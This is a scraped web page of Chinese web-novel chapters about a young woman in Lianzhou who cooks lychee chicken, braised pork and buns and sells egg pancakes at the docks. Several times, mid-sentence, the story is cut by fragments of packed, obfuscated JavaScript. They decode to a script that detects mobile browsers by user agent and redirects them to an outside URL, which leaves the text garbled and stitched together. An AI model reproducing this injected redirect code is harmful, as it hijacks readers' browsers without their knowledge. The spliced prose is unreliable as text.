听着熟悉的声音，姜婉心头一暖，“还算不错，我听旧宅胳膊的周娘子言，你将阿娘接到你府上，可否带我去瞧瞧？” “阿姐，不急。”姜勇拽着姜婉的手，目光扫过四周，并未瞧见他那侍郎姐夫，心头微沉下，笑着问道，“姐夫可是有事，怎未与你一起来？” 话音一落，听雨阁中寂静无声，姜婉缓缓抽出手，低垂着头，瞧不出情绪，半晌才强撑着笑脸抬头，“前些日子岭南水灾，你姐夫自请救灾却被山匪截杀，如今我与你外甥女被林家赶出门无处可去，这才回了廉州，晚娘青芜快来见过舅舅。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15197115|165248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 两人依言朝姜勇福了福身，抬头却见他一脸为难，不待姜婉继续开口，从腰间摸出五两碎银，“阿姐你既见过周娘子便晓得我如今的情况，我入赘孙家，本就被人瞧不起，现下还将阿娘接在身旁，再无余力让你去府中，这五两银子你拿着，去寻个客栈住上几日便回京吧。” 对上姜婉不敢置信的眸子，姜勇声音越来越小。 “舅舅，我同阿娘并不是来投奔您的，只是我们千里迢迢来上一趟实在不容易，可否让我们见外婆一面？”林书晚轻拍姜婉手背，已示安慰，笑着问道。 酒楼丝竹声声，酒楼外叫卖声不绝于耳，唯有这听雨阁中一片死寂。 一盏茶后，姜勇叹了口气，“阿姐，事已至此我便不再瞒你，那日火灾后阿娘受了惊吓，如今疯疯癫癫认不得人，大夫说需好生静养。” 说罢，不欲多纠缠，匆匆推门离开，顺口同门外的小厮叮嘱，往后这三人再来宝德楼寻自己，随意寻个借口打发了便是，姜勇瞧着楼中繁忙的盛景，心头憋闷，原想着姜婉来了，林侍郎势必会一同来，自己便能借着侍郎小舅子的身份，同岳父说道说道，顶了那姓颜的，可谁晓得他那姐夫是个短命的，他摇了摇头，匆匆离开，那模样瞧着好似生怕被姜婉黏上。 与此同时屋中的三人，相顾无言。 林书晚同青芜对视一眼，小心翼翼地瞧着姜婉，窗外天色阴沉，雷声轰隆，大雨倾盆而下，楼下顿时一阵嘈杂，小贩收拾着跟前的商品，匆匆找寻躲雨的地方。 屋中姜婉沉默着坐在原处，虽说她方才被晚娘点醒，靠着自己照样能活得不错，可如今瞧着自幼宠大的阿弟，这般冷心冷情，心中难受到了极致，可扭头对上两人关怀的目光，强撑着笑脸，将五两碎银撇至一旁，“天色不早了，咱们回去吧。” 不等两人开口，姜婉起身匆匆朝外头走去，留下两人对视一眼，皆是无奈，只好跟上她的步子，临走时林书晚伸手拾起桌上的五两碎银，随手塞入腰间，心中暗道白给的银子，不要那是傻子，五两呢可不少了，能抵廉州普通人家一月的开销。 与此同时，宝德楼东侧卧松居中，方才林书晚撞见的少年，斜着身子依靠在软榻上，手中把玩着一把通透的玉萧，面色苍白嘴角含着一抹玩味的笑意，“我倒是不知颜君竟成了宝德楼的掌柜。” “世子见笑了，宝德楼乃廉州最大的酒楼，往来食客多，探听消息便捷。”颜郎君笑着一拱手，从怀中取出一封书信，交于江昱枫手中，“此乃廉州知府死前一日，让下属寄往京城的信件。” 入夜，姜家旧宅。 破败的房屋中漏出一点火光，林书晚撑着头拧干布巾搭在姜婉额头，轻声同身旁眼睛红得跟兔子一般的青芜道：“阿芜，你去歇会吧，阿娘我看着便好。” 7.香酥生煎包 那头得了任务的两个小的，精神一振匆匆将碟子中的生煎塞到口中，便争先恐后跑到林书晚跟前，将她用油纸包好的生煎逐一放入竹篮中，青芜年岁大，便一手提着竹篮，一手牵着谨哥儿，跟在提着炉子的林书晚身后往巷子走去。 三人才踏出门，便瞧见钱家面馆的钱叔拎着只雕花食盒，被钱家婶娘从面馆推着出来，抬手捶了他几下，口中念叨着，“你这憨货，晚娘面皮薄，说不要吃食，你便不送了？她们一家子孤儿寡母的，又没进项若我们不帮衬些，她们如何过活？” “晓得了晓得了，娘子莫要在骂了，我这便送过去。”钱叔抱头鼠窜连声应道，提着食盒就往姜家茶馆跑。 远远瞧见林书晚，扭头同钱家婶娘不知说了句什么，三步并做两步奔到她身边，飞快将手中的食盒塞到她手中，“晚娘，这是我同你婶娘的一点心意，我与你婶娘往日受你舅舅与外婆照顾良多，若是你日后有什么难处，只管来寻我同你婶娘便是。” 说罢，钱叔身生怕林书晚将食盒推回似的，也不等她开口，扭头就往自家铺子跑，任凭林书晚在身后喊破嗓子也不见他回头。 无奈之下，林书晚将手中的食盒交给青芜，叮嘱他俩拿回家去，自己从竹篮中取出包尚且温热的生煎，提着炉子便往钱家面馆走去，两家离得近，走路不过三五步的功夫。 踏入面馆，林书晚瞧着柜台后头的钱叔，笑着开口：“钱叔走得忒快了些，我在后头追了许久都未追上，这是您借我的炉子，还有这些生煎是我今日做的，若钱叔不嫌弃便尝尝吧。” 大约是瞧着她手中并未提着食盒，钱叔下意识松了口气，忽而听见她说带了些生煎过来，连忙摆手推拒，笑话，如今姜家只剩谨哥儿一个男丁，日子艰难他怎么好意思要林书晚的东西。 “生煎包不值几个钱，钱叔若不收下，日后我也不敢再来叨扰钱叔了。”林书晚将油纸包摆在桌上，坚持道。 进退两难的钱叔，下意识扭头望向钱家婶娘，却见她瞪了自己一眼，迎上前来，挽着林书晚的手低声劝道：“婶娘知你心意，可如今你家处处都是花钱的地儿，又没了收入，这生煎你快拿回去自己吃。” 拿回去自然是不会拿回去的，送出去的东西哪里还有往回拿的道理，可她瞧着两人坚持的模样，沉吟片刻，开口道：“婶娘有所不知，明日我打算去码头摆摊卖生煎，却不知这味道是否合廉州百姓的口味，正好您同钱叔是做吃食生意的，我想着借此机会请二位尝尝味，瞧瞧我去摆摊，这生煎能否卖出去。” 话已至此，钱家夫妇虽对林书晚所言，有几分怀疑，但瞧着她满心诚恳的模样不似作伪，心知今日这生煎是无论如何也要收下了。 “那我便替晚娘尝尝。”钱家婶娘无奈叹了口气，笑着应道。 她抬手撕开油纸，露出里头小巧的生煎，模样精致，钱婶娘诧异地瞧了眼林书晚，倒是自己小瞧了这丫头，原以为是个十指不沾阳春水的，可如今光瞧着这生煎的模样，便知她是个擅长白案做法的，只是还不晓得味道如何，她取过筷子，夹起一颗送入口中，温热的生煎表皮柔软，轻轻咬破外皮，里头的肉汁在口中炸开，瞬间充盈在唇齿之间。 原先她打算随意吃上一口，莫驳了林书晚的面子，如今却开始庆幸，未坚持将这生煎推拒，肉馅明明是用猪肉所做，可无半点腥臊之气，反而鲜美弹牙，好吃到她寻不出任何赞美之词。 “娘子，味道如何？”钱叔瞧着钱婶娘许久未开口，只以为这生煎徒有其表却味道一般，藏在柜台下的手拽了拽钱婶娘的衣摆，为难地瞧了林书晚一眼。 正打算提醒钱婶娘开口委婉些，莫伤了林书晚的自尊，谁料下一瞬，钱婶娘又夹起一颗生煎塞入口中，两眼放光，那模样钱叔还有什么不晓得的，赶忙抄起筷子，夹着生煎就往口中送，咬破外皮瞬间愣在原地，这味道实在太好了，他开面馆，本身也是个厨子，原先瞧着猪肉便宜，也打算在面馆做些猪肉的浇头，奈何猪肉腥臊，自己怎么也去不干净，无奈之下只好放弃。 可如今这生煎包中的葱姜味恰到好处的将猪肉的腥臊味去的干干净净，只余猪肉原本的鲜香，他匆忙将口中的生煎咽下，笑着赞叹，“晚娘这门手艺莫说摆摊，哪怕开食肆都是足够的。” “多谢钱叔夸赞，只我经验不足，日后恐需您多多提点。”说罢，林书晚瞧着钱叔点头，温婉一笑福了福身，告辞离开。 瞧着她离去的背影，钱叔怅然若失地叹了口气，莫名想起一句古话来——“英雄出少年。”，虽放在此处不甚合适，但他也只能想到此一句，正打算再吃上一口生煎，低头却发现原本十数个生煎竟只剩下三两个，心中一慌，赶忙抄起筷子同自家夫人争抢。 待到林书晚将竹篮中的生煎送完归家时，那原本应该空荡荡的篮子中又装得满满当当，让她心中暖洋洋的，她将竹篮摆在石桌上，里头除了些常见的菘菜鸡蛋以外，竟还有不少荔枝，但荔枝个头不大，瞧着似乎是后世早春的品种，她剥了一颗，虽不算甜，但荔枝的香味浓郁。 先前来时，她便听阿娘提及，廉州的六七月份，荔枝树上便会挂满荔枝，可惜运输不便，导致大部分荔枝都是等到熟透后，从枝头掉落，最终腐烂成泥，用林书晚的话来说，这便是暴殄天物，毕竟荔枝除了现吃，还有不少其他做法，例如酿荔枝酒，亦或是做果饮，再者还可用荔枝做菜，做出来的菜味道极好，还带着荔枝独有的甜香味。 她拨弄着手中的荔枝，琢磨片刻，打算今日中午就用这荔枝做上一道荔枝鸡解解馋。 不过眼下最要紧的是，领着姜婉几人去趟集市，置办些明日摆摊要用的东西，她既打算先做些生煎同鸡蛋饼卖，那家中的碳 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如今正是午市，同早市不同的是，午市除了吃食以外，卖得东西种类繁多，林书晚拉着车，直奔钱叔推荐的铁匠铺子赶去，果真寻到了自己想要的铁锅，最终凭借她的三寸不烂之舌，将铁匠开价五百文的铁锅压到二百文一只，还让那铁匠添了一把火钳。 王铁匠面如菜色地瞧着林书晚离开，心中暗叹一声人不可貌相，谁曾想这瞧着温软的小娘子，杀价竟这般狠，比平日里那些婆子还要狠些。 已走远的林书晚自是不晓得这铁匠心中所想，不过就算晓得也无所谓，毕竟杀价又不是什么丢人的事，能以最低的价格买到品质较好的东西，怎么不算她林书晚的本事呢。 在集市逛了半个时辰，总算是将林书晚要的东西买齐，推车上堆得满满当当，就在几人打算归家之际，林书晚余光瞥见，青芜同谨哥儿的袖子裤脚似乎短了一截，她盘算着手中的银钱，大约还剩了十贯左右，当即拉着三人往布庄赶去。 “晚娘，为何来布庄？”瞧着推车停在布庄前，姜婉目露不解。 “阿芜同谨哥儿的衣服都有些短了，我想着集市来都来了，不如扯些布，回去给他俩做身衣服。”林书晚解释着，行至布庄门前，央了铺子门口的小二帮忙看着推车，便领着几人往布庄里去。 四人逛了一圈，林书晚发觉廉州的布匹不贵，她比着青芜与谨哥儿，一人扯了六尺布，才用去一百文，结完账离开布庄时，林书晚大约是怕姜婉吃味，慢慢蹭到她身旁，低声道：“阿娘，等我赚了钱再给你买衣裳。” 闻言，姜婉笑出了声，有道是知女莫若母，她哪里不晓得林书晚的意思，当即点头道：“那阿娘便等着晚娘给我买新衣了。” 直至午时，四人才匆匆归家，才回到家中，林书晚便将围在自己身边的谨哥儿赶去同姜婉去把荔枝剥壳去核，再剥上两头蒜，自己将鸡肉剁成块腌制，又唤过青芜将米用温水泡上，泡过之后的米蒸出来的饭十分软糯。 8.荔枝焖鸡 如今家中新添了只炭炉，比先前方便了许多，只再不用等米饭蒸熟后再做菜一项，便能节省不少时间，林书晚接过青芜递来的粳米，倒入砂锅中，加入没过粳米的冷水，架在炉子上蒸着。 她瞧着跟前破败的灶房，心中暗自琢磨还是得将家中的灶房重新整修一番，不然单靠这炉子做饭，且不说不方便还十分慢，不过眼下还好，只做四人的吃食，加之手中银钱所剩不多，灶房倒是不急于一时，不如等到明日去码头摆摊瞧瞧生意如何再做打算。 打定主意的林书晚，一边同姜婉商量着明日摆摊的事宜，一边取过腌好的鸡块，荔枝鸡的做法有两种，她今日买的这只小公鸡十分肥硕，鸡皮下头藏着一层厚厚的油脂，最适合做荔枝焖鸡。 鸡块冷水下锅焯去血水浮沫，然后干锅煸炒，在炉火的作用下，原本湿润白色的鸡皮渐渐收缩，开始染上一层漂亮的焦糖色。 不多时，深色的锅底汇聚了一汪清凉的鸡油，随着林书晚的动作，油脂在锅中炸开，浓郁的荤香在小院中炸开。 待到鸡皮不再收缩，锅中的鸡油也攒了小半碗，林书晚舀出多余的鸡油存放在一旁，虽说鸡油不如猪油香，但总归也是荤油，用来炒蔬菜，味道极香。 香料价格昂贵，是如今的林书晚无法负担的，八角茴香之类的自然是没有，好在家中葱姜蒜还是备齐的，倒入葱姜蒜，再加些许烈酒，大火爆炒。 不过片刻鸡肉的香味就被彻底激发，林书晚抬手冲着身侧姜婉道：“阿娘，将荔枝汁给我。” 闻言，姜婉匆匆递上装满果汁的碗，只见林书晚接过小碗，将果汁沿着锅边溜边淋了一圈，炉火旺盛，鸡肉的香味裹挟着荔枝的甜香在小院中弥漫，那滋味勾得三人不约而同放下手中的活计，眼巴巴地盯着铁锅，不停吞咽着口水。 香！实在是太香了！且不说青芜，连在廉州生活了十余年的姜婉都从未见过用荔枝做菜，难怪还在船上时，晚娘便同自己往后要在廉州开上一间食肆，沉默片刻，“晚娘是怎么知晓荔枝可以做菜的？” 正盛着荔枝焖鸡的林书晚闻言，动作一顿，心知姜婉心中有所怀疑，笑着应道：“阿娘可还记得京中的周御厨，他瞧着女儿在厨艺上颇有天赋，便送了女儿一本食谱，这道荔枝焖鸡便是那食谱上的，还是女儿头一次做。” 听着此言，姜婉倒是想起来了，早前夫君同钱家定下婚约，那钱家二子幼时落入水中，落下病根，常年病怏怏的又不爱喝药，晚娘想着迟早要嫁入钱家，未婚夫婿身子不好也不个事儿，也不知从何处打听到宫中有位御厨极擅药膳，便央了夫君，拜了那御厨为师。 可恨那钱家二子，竟是个负心汉，背着晚娘同茵姐儿苟且不说，还将她的晚娘从阁楼推落，思及此，姜婉沉了脸。 林书晚瞧着她脸色骤变，心中了然，阿娘大抵是又想起了京中那些糟心的事，可惜廉州距离京中太远，也不晓得自己临走前安排的那出好戏是否精彩。 她遗憾地叹了口气，转念一想，日后总有回京的时候，旁的不说，她总要帮着原身把姜婉的嫁妆讨回来。 母女俩心思各异，直到谨哥儿肚中传来“咕噜”一声，两人才回过身来，低头望着身旁的谨哥儿，却见他红着脸，眼巴巴地盯着桌上的荔枝焖鸡。 “谨哥儿可是饿了？快去洗个手，等阿姐在拌个凉拌荠菜便能吃了。”听着动静，林书晚眉眼一弯，抬手揉了揉谨哥儿的脑袋，笑着开口。 凉拌荠菜做法简单，将新鲜的荠菜洗净后，滚水中焯遍水，便能捞出，调料便加上些猪油，盐清酱搅拌均匀便可，碧绿的荠菜拌上喷香的猪油，那味道当真是清爽解腻，其实荠菜的做法又许多，除了凉拌还能用作馄饨馅，亦或是春饼，说来如今正是廉州的春日，廉州山林不少。 今日同邻居周婶娘聊起，山中多野菜春笋，味道十分鲜美，她家那口子是货郎，年年都会去廉州周边的小村子中收些野味，亦或是野菜，今日这荠菜便是周婶娘塞给自己的。 待到林书晚将凉拌荠菜端上桌，青芜同谨哥儿早便乖巧地坐在桌旁，眼不错地盯着桌上的荔枝焖鸡，压根儿分不出一点余光给另一侧的荠菜，那模样实在可爱，她抿唇笑了笑，“快来盛饭。” 话音一落，两人捧着碗便扑了过来，像许久未吃过饭似的，林书晚摇了摇头，只好先替他俩盛饭，谁料，他俩接过饭碗并未如她所料那般，埋头苦吃，反而将其中一碗递给一直坐在桌边瞧着两人的姜婉，另一碗放在桌上，又捧了两个空碗回到林书晚跟前。 荔枝焖鸡裹满汤汁，入口滋味鲜美，谨哥儿虽年岁小，但吃食不用人操心，自己握着勺子，埋头苦吃，竟还自学成才，舀了几勺焖鸡的汤汁浇在米饭中，勺子搅了几下，整张脸都埋在了碗中，吃得大半张脸都油光锃亮的。 鸡肉鲜嫩，又同荔枝炖了许久，除了原本的调料味道，还浸润着荔枝的甜香，林书晚提着里头两个鸡腿，一人一个放到青芜同谨哥儿碗中，虽说青芜自幼跟着自己，如今也不过是个半大的孩子，这几月来跟着自己一路奔波，瘦了不少，总得好好补补。 娘俩瞧着两个小的埋在饭碗中吃得正香，亦是不自觉多吃了半碗饭。 实在是太香了。 吃过午食，暖洋洋的日头落在身上，晒得人昏昏欲睡，林书晚将眼睛都快睁不开还想来帮自己洗碗的姜婉同青芜赶去午睡，自己端着收拾好的碗筷，撸起袖子，就着热水将碗洗刷干净。 收拾好后，她探头瞧了眼敞着门的东厢房，谨哥儿脸上盖着一本书籍，斜靠在木塌上睡着正香，再往里姜婉坐在窗边的椅子上，手中捏着碎布，打着瞌睡，是不是小鸡啄米似的点头，青芜更是非同一般，她随意寻了快破布扑在小院的廊下，就地一趟，墙头的淡黄色小花，随风而落，点缀在她脸颊两侧。 瞧着几人都睡得正香，林书晚打算将明日摆摊要用的东西备好，她先将肉类腌上，随后便开始准备卷在饼中的蔬菜，大抵便是先青瓜丝，萝卜丝之类的，只切了少许，打算晚上做些，让自家几口人尝尝鲜，虽说如今天气还不算热，但蔬菜那些还是明日早起准备新鲜，毕竟做吃食生意的，最要紧的便是食材新鲜，其次还是吃食的味道，只可惜没有咸菜，若是鸡蛋饼中加些咸菜那味道当真是千金不换。 一个时辰后，三人陆陆续续醒来，打着哈欠从房中出来，便见小院的桌上摆了好几叠切成丝状的蔬菜，姜婉心中好奇，便走近瞧了瞧，正是今日林书晚在集市所买的青瓜，黄萝卜，紫苏，荆芥还有一小些芫荽与茱萸。 永宁朝并无辣椒，但百姓亦爱吃辣，故而便以茱萸替代，茱萸的滋味虽不及辣椒，但佐以生姜与生蒜捣碎炒熟，那味道也同辣椒差不太多，倒是能弥补了永宁朝没有辣椒的缺陷。 “阿姐，可要谨哥儿帮忙？”谨哥儿瞧着林书晚忙前忙后的模样，小跑到她身边，一手拽着她的衣摆，仰着头问。 话音一落，林书晚还未来得及开口，便听见姜婉同青芜一同开口，问着自己能做何事。 林书晚剁着肉馅，，目光扫过落在木盆中的三只鸡上头，“那便劳烦阿娘同阿芜将那鸡身上的肉剔下来，小心些手。” 两人连声应下，端着木凳便坐在木盆旁，剔肉不难，只要小心些，不伤到手便好，林书晚瞧着两人从初时的磕磕绊绊，到后面的渐入佳境，这才放下心来，低头瞧着身旁的谨哥儿殷切的目光，捏了捏他的脸颊，从竹篮中摸出几颗大蒜，“谨哥儿便帮阿姐剥蒜吧。” 其实林书晚手头剥的蒜已经够用了，可她瞧着谨哥儿期待的目光，实在说不出拒绝的话，其余的活要么需要用刀，要么要同火打交道，谨哥儿才六岁，自然做不得这些，那便只要让他继续剥蒜了。 不过此事倒是给姜婉提了个醒儿，像谨哥儿这个年岁的孩子，大多都在学堂上课，等明日收摊后，她便去同巷子口的顾婶娘打听一下廉州城中哪家学堂好些，等谨哥儿身子养好了，便送他去上学。 全然不知自己即将就要被送去学堂的姜谨，坐在矮凳上，正垂着头认认真真地扒着手中的蒜头。 待到天色擦黑，林书晚总算是将明日摆摊所需的东西准备齐全，她瞧着桌上摆的整整齐齐的食材，心中欢喜。 饭菜的香味从院墙外头飘入，林书晚才发现原来已至暮食时分，而那头做了一下午活的姜婉累的趴在桌上，捶打自己僵硬的后背，瞧着依旧忙碌的林书晚，心中酸涩，暗自懊悔，若是当初自己强势些，晚娘何须受这等苦楚，片刻似又想到什么，摇了摇头，可若自己不来岭南，那勇哥儿唯一的血脉，恐怕也保不住了。 “阿娘可是饿了？”林书晚抬头瞧了眼姜婉，见她脸色不好，眼睛一弯，笑着问道。 “是有些饿了，可是我们可是吃鸡蛋饼？”姜婉的思绪从回忆中抽离，一眼瞧见林书晚在摆弄着今日刚买的铁锅，问道。 “猜对了，等会给阿娘的饼中多加两颗鸡肉丸子。” 听着林书晚哄小孩的语调，姜婉方才心中的阴霾一扫而空，笑着点头，身边两个小的听着此言，脸上当即露出一副天塌了的模样，可怜兮兮地蹭到林书晚身边，扯着她的衣摆，仰着脸开口。 “娘子，我今日搓了好些鸡肉丸，能不能也多加两颗丸子。” “阿姐，谨哥儿也要！” “好，都加。” “好耶，阿姐是最好的阿姐。” 次日一早，天刚蒙蒙亮，巷子里的鸡刚叫了一声，林书晚便睁开了眼，她坐起身子，扯过一旁的外袍披在肩头，散落的头发随意用一方带着鹅黄色碎花的布巾挽起，轻手轻脚推开门，打算洗漱后，简单做个朝食，吃过后便带着青芜还有谨哥儿一同去摆摊。 今日头一日摆摊，林书晚昨日午后便去寻了廉州的行会，交了两个月的免行钱，又去巷子口的顾婶娘家借了推车，原以为会有些困难，毕竟她家是做酿酒生意的，往来之际都得用这推车送货，谁料她听闻自己要做吃食生意，当即便同意把推车借给自己。 林书晚原想着自己一早去将推车拉来，怎料她才唤了青芜同谨哥儿起床，便听到外头传了阵阵敲门声，她匆匆开了门，便瞧见顾家大哥穿着身褐色短打拉着推车停在自家门前，直言道，顾婶娘担忧她推不动车，早早将顾家大哥叫醒，让他将林书晚送去码头。 林书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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闻言，那壮汉沉默片刻，可瞧着那小娃娃埋头苦吃的模样，实在诱人，忍了又忍实在没忍住，“那便给我来上一个。” “好勒，郎君瞧瞧这饼中要加些什么吃食？”林书晚脸上堆满笑意，连声应道。 壮汉心中不解，鸡蛋饼不也是饼，同寻常的饼相比不就添了个鸡蛋，里头还能加什么吃食，“有何区别？” “您瞧，这是猪排，这是鸡肉丸子，蔬菜便是青瓜丝，黄萝卜丝，还有紫苏芫荽生菜，鸡蛋饼原本是六文钱一个，若这些都加上便是十五文一个。”林书晚指着案上的食材，笑着解释。 “那娃娃手中的加了哪些？我要同他一样的便好。”听了半晌都没琢磨明白的壮汉，抬手指着谨哥儿道。 “好勒，您就是这些全加，那便是十五文。”唤了青芜收钱，自己快手快脚舀了一勺面糊，正要刷酱时，林书晚抬头瞧着那壮汉问道，“郎君可能吃辣？ “自然是能的。” 不过片刻一个个头极大的鸡蛋饼成型了，林书晚取过一张油纸对折，将鸡蛋饼包在其中，递到那壮汉手中。 才入手，鸡蛋的香味裹挟着肉类的荤相扑鼻而来，壮汉迫不及待撕开油纸咬了一口，才入口他整个人便惊呆了，这鸡蛋饼外皮绵软，咬破之后里头带着些辛辣的滋味在口中弥漫，再往里便是油煎过的猪排，咸香入味，一口咬下汁水四溢，实在是太好吃了。 他顾不得烫，三两口将整个鸡蛋饼吞下，随即又回到林书晚摊位前，从腰间摸出一把铜钱放在桌案上，“小娘子，这是四十五文，再给我来三个方才那样的鸡蛋饼。” “好勒，您稍等。”首战告捷，林书晚心中欢喜万分。 而一旁围观的力夫见此，皆是目露震惊，那小娘子不认识这壮汉，他们可是认得的，此人乃是这码头的管事，为人大方仗义，唯有一点极重口腹之欲，若是能得他一句赞叹的吃食，必然是味道绝佳。 一时间，那些力夫都有些蠢蠢欲动，相比于其他摊位的饼子，十五文市有些贵的，但方才他们也瞧见了里头加的猪肉分量很足，虽说猪肉肉贱，但一斤也要二三十文，他们一日工钱两百文，平日里在边上的小摊吃上一碗没有肉的素面也有十文，这十五文的鸡蛋饼实在合算。 “小娘子给我来个都加的鸡蛋饼。”在旁人还在迟疑之际，很快便将鸡蛋饼吃完了，同方才的管事一般，丁卯舔了舔唇，将油纸里头的碎渣捡起，吃得干干净净，还觉得没吃饱，又蹭到林书晚摊位前，买了一个。 瞧着平日里极为抠门的丁卯又买了一个，便知这鸡蛋饼味道实在不错，原本还在迟疑的力夫们，蜂拥而上，不过半刻钟的时间，林书晚备的五十个鸡蛋饼一售而空。 “小娘子怎不多准备些。”排了许久队没买上的人，心中不满，抱怨道。 闻言，林书晚带着歉意道：“诸位实在抱歉，今日准备的少了些，明日我必多准备些，如今铺子还有生煎包，三文钱一个，五个十文钱，诸位可要尝尝？” “那便给我来上十个。”没买着鸡蛋饼的人，想着鸡蛋饼这般美味，这生煎应当也差不了。 与昨日自家吃得不同，今日林书晚卖的生煎包个头抵昨日三个，寻常人吃三五个指定是饱了，但眼前这些人皆是干力气活的，五个下去不过是半饱，也就一刻钟的时间，她的生煎包也卖空了。 竟还有不少人没买上，只好同那些没买上的保证，明日定会多准备些。 9.红烧肉 担了林书晚的承诺，没买上吃食的力夫这才悻悻离去，勉为其难地往别家摊位买了碗素面对付着吃了。 一边吃着还问着同伴那鸡蛋饼味道如何，听着同伴描述着鸡蛋饼怎么香软，里头的肉排如何酥脆，下意识吞咽着口水，只觉得眼前的素面一点也不香了，心中暗道明日必要早早出门来此处排队。 “那鸡蛋饼当真如郎君说得那般好吃？”素面摊子的摊主凑上前来，心中不解，那小娘子瞧着年岁不大，手艺能好到哪里去，莫不是这些力夫瞧着人家貌美，这才夸大其词。 “好吃，那鸡蛋饼是我这二十余年吃过最好吃的，裹着鸡蛋的柔软面皮，里头刷着一层甜滋滋的酱料，咬上一口露出里头香酥焦脆的猪肉，搭配着爽脆的青瓜丝黄萝卜丝，正好解了猪肉与鸡肉丸子的腻，那滋味，若不是我手头紧，我还得再买上两个。”丁卯砸吧着嘴，回味着方才的鸡蛋饼。 听着此言，素面摊摊主面露怀疑，心中暗自嘀咕，估摸着这些人见识短浅，才被那小娘子的新奇玩意儿糊弄住了，他撇了撇嘴，觉得林书晚对自己暂无威胁便未再开口。 另一头林书晚瞧着人群散去，松了口气，她将炉子熄了火，唤过青芜两人将空桶摞在一块，再将炉子铁锅收起后，才将底下充当桌案的木板收起，用麻绳扎起，在谨哥儿震惊的目光中，她一把将整理好的东西提起，打算家去。 “阿姐，不等顾大哥吗？”谨哥儿一手提着自己的矮凳，一手拽着林书晚的衣摆，小跑着跟上她的步子，仰着脸问。 闻言，林书晚垂下头，笑着同谨哥儿解释，“天色尚早，阿姐要去集市再买些食材。” 谨哥儿一知半解地点了点头，他方才问上那么一嘴，不过是瞧着林书晚手中提了太多东西，他怕阿姐累着，只恨自己如今还小，若他长大些，阿姐便不必这般辛苦了。 林书晚瞧着他忽然低落的情绪，眉眼一弯，将手中的家伙什放在地上，抬手揉了揉谨哥儿的脑袋，笑道：“谨哥儿今日帮着阿姐招揽了不少食客，明日可要继续同阿姐一起出摊？” “嗯！自然是要的！”闻言谨哥儿猛地抬头，眸中皆是欢喜，点头应道。 “娘子，青芜也一同来。”青芜赶忙开口，那模样瞧着生怕林书晚不带她似的。 三人跨过长桥，行至邻近昌平街的集市，林书晚想着今日五十个鸡蛋饼一售而空，便打算再多买些猪肉，一斤猪肉大约能炸个十块猪排，今日便买上十斤，做上一百个猪排，家中鸡肉丸子倒是还剩了不少，暂且不用再添。 她琢磨片刻，领着两人赶往肉铺，瞧着肉铺店主得了空，林书晚快步上前，低声道：“李店主，奴家可否同您谈个生意？” 话音一落，李店主诧异抬头，打量着林书晚，“小娘子可是来买肉的？” “这是自然，另外我想同店主商量一下，我如今在做吃食生意，今日要买十斤肥瘦相间的猪肉，日后肯定只多不少，我能否同里店主打个商量，您给我便宜一成的价格，日后我便只在您这处买肉，可好？”做吃食生意，食材的供应商十分重要，她李家肉铺的猪肉新鲜，店主又是个好相与的，来时路上，林书晚便打算同他长期合作。 集市喧嚣，街道上人来人玩，青芜牵着谨哥儿百无聊赖地蹲在一旁，瞧着林书晚同那肉铺的店主沟通，春日的日头暖洋洋的落在身上，晒得人昏昏欲睡。 “那便这样说定了，今日家去我将契书拟好，明日来同店主签契书，日后便劳烦李店主了。”林书晚凭借着自己大忽悠的本事，总算是让李店主松了口，应下这长久的合作，眼下瞧着可能是肉铺亏些，但她有信心，最多三月，她便能将食肆开起来，到那时她要的肉量便会大上许多。 提着十斤猪肉，林书晚又去隔壁卖蔬菜的铺子挑了些新鲜的时蔬，正打散离开时，余光瞟见，不远处一位头发花白的老妇面前的摊位上摆着不少蔫哒哒的菜苗，她想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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待到冷水煮开，猪肉表皮发白，这时便能从锅中捞出，煎至四面金黄，一时间小院中肉香四溢，暖风拂过，越过墙头，流连在巷子中。 昌平街的街坊邻居便晓得姜家又开始做饭了。 10.清炒楚葵 炊烟袅袅，林书晚将锅中四面金黄的五花肉捞起，取了只砂锅，锅中底部铺上葱白生姜，再将五花肉一块块摆在上头，最后加入清酱，糖与酒，那酒是今日归家后，她特意去顾家酒肆打得一壶清酒，酒香清冽，倒是为这五花肉添了几分别样的滋味。 砂锅架在碳炉上头，小火慢炖，红烧肉得炖上小半个时辰，才能炖得软烂入味。 借着炖肉的时间，林书晚将小公鸡剁块腌好，打算一会将谨哥儿点的荔枝焖鸡炖上。 青芜将洗好的碗筷擦干收好，便围着正炖着五花肉的锅子转圈，不停地吸着鼻子，口中直嚷嚷着“香”的，带的谨哥儿也围了上来，眼巴巴地盯着那锅子。 听着两人不停咽口水的声音，林书晚险些笑出声来，心道这味道便香了，若是以后自己做炸排骨，辣子鸡丁，不得把这俩小家伙香迷糊了。 倒也不止这两个小家伙馋，连平日里最稳重的姜婉也忍不住了，她挪到林书晚身旁，“晚娘，这红烧肉还需炖上多久，我瞧着阿芜同谨哥儿馋得口水都要下来了。” 闻言，林书晚含笑瞧了姜婉一眼，“许是快了。” 大约过了小半个时辰，在三人望眼欲穿的目光中，林书晚取了抹布包着锅盖，将里头的红烧肉盛出，白色的瓷碟里头盛着裹满汤汁的五花肉，颜色红亮十分诱人，可惜了没有八角茴香，若她手中有这些大料，其不说滋味如何，光这香味都能再上层楼。 林书晚瞧着青芜两人，眼不错地盯着她手中的五花肉，眉眼一弯从碟子中夹起一块塞到青芜口中，油煸后的五花肉，带着一点虎皮的酥香，入口软糯，实在是太好吃了。 浓郁的肉香像把钩子似的勾引着谨哥儿，急的他扒拉着林书晚的衣摆直跳脚，“阿姐，快给我也尝尝。” 